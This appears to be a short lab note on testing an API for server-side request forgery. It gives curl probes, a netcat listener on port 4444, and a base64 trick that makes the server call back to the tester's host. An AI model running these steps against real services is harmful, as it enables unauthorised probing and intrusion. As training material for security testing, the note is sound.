Server-Side Request Forgery (SSRF)
Interact with the API
curl http://SERVER_IP:PORT/api/userinfo
{"success":false,"error":"'id' parameter is not given."}Setup a Listener
nc -nlvp 4444
listening on [any] 4444 ...Make an API call
curl "http://SERVER_IP:PORT/api/userinfo?id=http://OUR_IP:4444"
{"success":false,"error":"'id' parameter is invalid."}If unsuccessful, try to make an API call with encoded value
echo "http://OUR_IP:4444" | tr -d '\n' | base64
curl "http://SERVER_IP:PORT/api/userinfo?id=<BASE64 blob>"Last updated